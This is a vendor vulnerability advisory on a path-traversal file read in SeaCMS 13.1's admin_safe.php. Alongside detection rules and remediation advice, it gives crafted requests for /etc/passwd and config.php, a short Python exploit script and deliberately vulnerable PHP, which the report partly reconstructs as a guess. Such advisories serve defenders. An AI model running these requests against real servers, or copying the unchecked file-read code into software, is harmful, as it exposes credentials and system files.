CVE-2025-60449

Executive Summary

CVE-2025-60449 is an information disclosure vulnerability in SeaCMS version 13.1. The flaw resides in the admin_safe.php component located in the /btcoan/ directory. An authenticated administrator can exploit this to scan and download not only the application’s source code but also any file accessible on the server’s root directory. This poses a critical risk to confidentiality, as sensitive system files, configuration data, and credentials could be exposed. No patch is currently available, and the vulnerability is publicly known.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application (SeaCMS) vulnerability.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, the vulnerability can be assessed as follows:

• Attack Vector (AV): Network (authenticated access required)
• Attack Complexity (AC): Low
• Privileges Required (PR): High (administrator)
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): None
• Availability (A): None

Estimated CVSS Score: 4.9 (Medium) – due to high privileges required but severe confidentiality impact.

Threat Level: Medium. The vulnerability requires administrative access, but once authenticated, an attacker can exfiltrate arbitrary files from the server root, including database credentials, SSH keys, and other sensitive data.

Deep Dive & Mechanics

The vulnerability exists in the admin_safe.php script within the /btcoan/ directory. This script is intended for administrative file management or backup operations. The flaw is due to insufficient input validation and path traversal protections. An authenticated administrator can manipulate file path parameters to traverse outside the intended directory and read any file on the server’s root filesystem.

Root Cause: The application does not sanitize or restrict file paths provided by the user. It uses user-supplied input directly in file system operations (e.g., file_get_contents(), readfile(), or similar PHP functions) without checking for directory traversal sequences like ../.

Attack Vector: An authenticated admin sends a crafted HTTP request to /btcoan/admin_safe.php with a parameter (e.g., file=../../../../etc/passwd) to read arbitrary files.

Impact: Full disclosure of server files, including:

• Application source code
• Database configuration files (e.g., config.php)
• System files (/etc/passwd, /etc/shadow)
• SSH private keys
• Other sensitive data

Vulnerable vs. Patched Code

Vulnerable Code (SeaCMS 13.1):

<?php
// admin_safe.php (vulnerable)
$file = $_GET['file'];
if (file_exists($file)) {
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    readfile($file);
}
?>

Patched Code (Hypothetical):

<?php
// admin_safe.php (patched)
$allowed_dir = realpath(__DIR__ . '/../backups/');
$file = realpath($_GET['file']);
if ($file && strpos($file, $allowed_dir) === 0 && file_exists($file)) {
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    readfile($file);
} else {
    die('Access denied.');
}
?>

The patched version uses realpath() to resolve the path and checks that it starts with an allowed base directory, preventing directory traversal.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid admin credentials for SeaCMS 13.1
• Network access to the SeaCMS web interface

Exploitation Steps:

1. Log in to the SeaCMS admin panel.
2. Craft a request to download arbitrary files:

   GET /btcoan/admin_safe.php?file=../../../../etc/passwd HTTP/1.1
   Host: target.com
   Cookie: [admin_session_cookie]
   

3. The server will respond with the contents of /etc/passwd.
4. To download the application source code:

   GET /btcoan/admin_safe.php?file=../config.php HTTP/1.1
   

Automated Exploit (Python):

import requests

target = "http://target.com"
admin_cookie = {"PHPSESSID": "your_session_id"}
file_to_read = "../../../../etc/passwd"

url = f"{target}/btcoan/admin_safe.php?file={file_to_read}"
response = requests.get(url, cookies=admin_cookie)
print(response.text)

Blue Team

Detection:

• Monitor HTTP requests to /btcoan/admin_safe.php with suspicious file parameters containing ../ or absolute paths.
• Alert on unusual file downloads by admin users (e.g., downloading /etc/passwd).

Hunting:

• Search web server logs for requests to admin_safe.php with file parameter containing path traversal sequences.
• Correlate with admin session IDs to identify compromised accounts.

Mitigation:

• Immediately restrict access to /btcoan/admin_safe.php to only trusted IPs.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Apply input validation and sanitization as shown in the patched code.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /btcoan/admin_safe.php with file parameter containing ../ or absolute paths (e.g., /etc/passwd).
• Unusual outbound data transfers from the SeaCMS server to external IPs.

File System IOCs:

• Presence of unexpected files in the SeaCMS backup directory (e.g., /etc/passwd copied there).
• Modified timestamps on sensitive system files.

Log IOCs:

• Web server logs showing repeated requests to admin_safe.php with path traversal patterns.
• Admin login events from unusual IP addresses followed by file download requests.

Detection Engineering

YARA Rule

rule Detect_SeaCMS_AdminSafe_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2025-60449 in SeaCMS admin_safe.php"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "high"
    strings:
        $s1 = "admin_safe.php" nocase
        $s2 = "file=" nocase
        $s3 = "../" nocase
        $s4 = "/etc/" nocase
        $s5 = "/var/" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: SeaCMS admin_safe.php Path Traversal Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in SeaCMS admin_safe.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/btcoan/admin_safe.php'
        cs-uri-query|contains: 'file='
    filter:
        cs-uri-query|contains: 'file=../'
    condition: selection and filter
falsepositives:
    - Legitimate admin file downloads within allowed directories
level: high

Suricata Rule

alert http any any -> any any (msg:"SeaCMS admin_safe.php Path Traversal Attempt"; flow:to_server; content:"GET"; http_method; content:"/btcoan/admin_safe.php"; http_uri; content:"file="; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit access to /btcoan/admin_safe.php to only trusted IP addresses using firewall rules or .htaccess.
2. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block path traversal patterns.
3. Monitor Logs: Enable detailed logging for all admin actions and monitor for suspicious file download requests.

Long-Term Fix:

• Apply input validation and sanitization as shown in the patched code example.
• Use realpath() to resolve file paths and ensure they are within an allowed directory.
• Implement strict file access controls and least privilege principles.

Workaround:

• If patching is not possible, disable the admin_safe.php functionality by removing or renaming the file, or by adding authentication checks that verify the file path is within the intended backup directory.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.